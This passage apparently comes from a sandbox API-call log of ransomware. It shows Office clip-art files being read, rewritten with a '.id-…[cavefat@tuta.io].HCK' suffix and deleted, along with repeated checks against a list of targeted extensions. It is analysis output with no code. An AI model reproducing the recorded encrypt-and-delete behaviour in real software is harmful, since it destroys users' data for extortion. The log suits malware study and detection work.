lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.362] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.362] SetEndOfFile (hFile=0x4c0) returned 1 [0234.362] CloseHandle (hObject=0x4c0) returned 1 [0234.363] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.363] SetEndOfFile (hFile=0x4b4) returned 1 [0234.365] CloseHandle (hObject=0x4b4) returned 1 [0234.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0234.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.367] lstrlenW (lpString=".doc") returned 4 [0234.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.367] lstrlenW (lpString=".docx") returned 5 [0234.367] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.367] lstrlenW (lpString=".pdf") returned 4 [0234.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.367] lstrlenW (lpString=".xls") returned 4 [0234.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.367] lstrlenW (lpString=".xlsx") returned 5 [0234.367] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.367] lstrlenW (lpString=".ppt") returned 4 [0234.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.367] lstrlenW (lpString=".zip") returned 4 [0234.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.368] lstrlenW (lpString=".rar") returned 4 [0234.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString=".bz2") returned 4 [0234.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString=".7z") returned 3 [0234.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".dbf") returned 4 [0234.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".1cd") returned 4 [0234.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".jpg") returned 4 [0234.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".doc") returned 4 [0234.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString=".docx") returned 5 [0234.368] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.368] lstrlenW (lpString=".pdf") returned 4 [0234.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString=".xls") returned 4 [0234.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.368] lstrlenW (lpString=".xlsx") returned 5 [0234.368] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.368] lstrlenW (lpString=".ppt") returned 4 [0234.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".zip") returned 4 [0234.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.368] lstrlenW (lpString=".rar") returned 4 [0234.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString=".bz2") returned 4 [0234.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString=".7z") returned 3 [0234.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".dbf") returned 4 [0234.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".1cd") returned 4 [0234.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0234.368] lstrlenW (lpString=".jpg") returned 4 [0234.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.369] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.369] lstrlenW (lpString="J0107480.WMF") returned 12 [0234.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.369] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6024) returned 1 [0234.369] CloseHandle (hObject=0x4b4) returned 1 [0234.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220 [0234.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.370] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.370] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.372] GetLastError () returned 0x0 [0234.372] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1788, lpOverlapped=0x0) returned 1 [0234.373] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1790, lpOverlapped=0x0) returned 1 [0234.374] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.374] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.374] SetEndOfFile (hFile=0x4c0) returned 1 [0234.374] CloseHandle (hObject=0x4c0) returned 1 [0234.374] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.374] SetEndOfFile (hFile=0x4b4) returned 1 [0234.376] CloseHandle (hObject=0x4b4) returned 1 [0234.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0234.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.377] lstrlenW (lpString=".doc") returned 4 [0234.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.377] lstrlenW (lpString=".docx") returned 5 [0234.377] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.377] lstrlenW (lpString=".pdf") returned 4 [0234.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.377] lstrlenW (lpString=".xls") returned 4 [0234.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.377] lstrlenW (lpString=".xlsx") returned 5 [0234.377] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.377] lstrlenW (lpString=".ppt") returned 4 [0234.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.377] lstrlenW (lpString=".zip") returned 4 [0234.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.377] lstrlenW (lpString=".rar") returned 4 [0234.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.377] lstrlenW (lpString=".bz2") returned 4 [0234.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.377] lstrlenW (lpString=".7z") returned 3 [0234.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".dbf") returned 4 [0234.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".1cd") returned 4 [0234.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".jpg") returned 4 [0234.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".doc") returned 4 [0234.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString=".docx") returned 5 [0234.378] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.378] lstrlenW (lpString=".pdf") returned 4 [0234.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString=".xls") returned 4 [0234.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.378] lstrlenW (lpString=".xlsx") returned 5 [0234.378] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.378] lstrlenW (lpString=".ppt") returned 4 [0234.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".zip") returned 4 [0234.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.378] lstrlenW (lpString=".rar") returned 4 [0234.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString=".bz2") returned 4 [0234.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString=".7z") returned 3 [0234.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".dbf") returned 4 [0234.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".1cd") returned 4 [0234.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0234.378] lstrlenW (lpString=".jpg") returned 4 [0234.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.379] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.379] lstrlenW (lpString="J0107482.WMF") returned 12 [0234.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.761] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4980) returned 1 [0234.761] CloseHandle (hObject=0x548) returned 1 [0234.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220 [0234.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.797] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.797] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0234.798] GetLastError () returned 0x0 [0234.798] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1374, lpOverlapped=0x0) returned 1 [0234.799] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1380, lpOverlapped=0x0) returned 1 [0234.800] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.800] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.800] SetEndOfFile (hFile=0x4b8) returned 1 [0234.801] CloseHandle (hObject=0x4b8) returned 1 [0234.801] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.801] SetEndOfFile (hFile=0x548) returned 1 [0234.803] CloseHandle (hObject=0x548) returned 1 [0234.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0234.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.804] lstrlenW (lpString=".doc") returned 4 [0234.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.804] lstrlenW (lpString=".docx") returned 5 [0234.804] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0234.804] lstrlenW (lpString=".pdf") returned 4 [0234.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.804] lstrlenW (lpString=".xls") returned 4 [0234.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.805] lstrlenW (lpString=".xlsx") returned 5 [0234.805] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0234.805] lstrlenW (lpString=".ppt") returned 4 [0234.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.805] lstrlenW (lpString=".zip") returned 4 [0234.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.805] lstrlenW (lpString=".rar") returned 4 [0234.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString=".bz2") returned 4 [0234.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString=".7z") returned 3 [0234.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.805] lstrlenW (lpString=".dbf") returned 4 [0234.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.805] lstrlenW (lpString=".1cd") returned 4 [0234.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.805] lstrlenW (lpString=".jpg") returned 4 [0234.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.805] lstrlenW (lpString=".doc") returned 4 [0234.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString=".docx") returned 5 [0234.805] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0234.805] lstrlenW (lpString=".pdf") returned 4 [0234.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString=".xls") returned 4 [0234.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.805] lstrlenW (lpString=".xlsx") returned 5 [0234.805] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0234.805] lstrlenW (lpString=".ppt") returned 4 [0234.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.805] lstrlenW (lpString=".zip") returned 4 [0234.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.805] lstrlenW (lpString=".rar") returned 4 [0234.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.805] lstrlenW (lpString=".bz2") returned 4 [0234.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.806] lstrlenW (lpString=".7z") returned 3 [0234.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.806] lstrlenW (lpString=".dbf") returned 4 [0234.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.806] lstrlenW (lpString=".1cd") returned 4 [0234.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0234.806] lstrlenW (lpString=".jpg") returned 4 [0234.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.806] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.806] lstrlenW (lpString="J0107494.WMF") returned 12 [0234.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.807] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6424) returned 1 [0234.807] CloseHandle (hObject=0x548) returned 1 [0234.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220 [0234.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.807] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.807] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0234.808] GetLastError () returned 0x0 [0234.808] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1918, lpOverlapped=0x0) returned 1 [0234.809] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1920, lpOverlapped=0x0) returned 1 [0234.810] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.810] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.810] SetEndOfFile (hFile=0x4b8) returned 1 [0234.810] CloseHandle (hObject=0x4b8) returned 1 [0234.810] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, 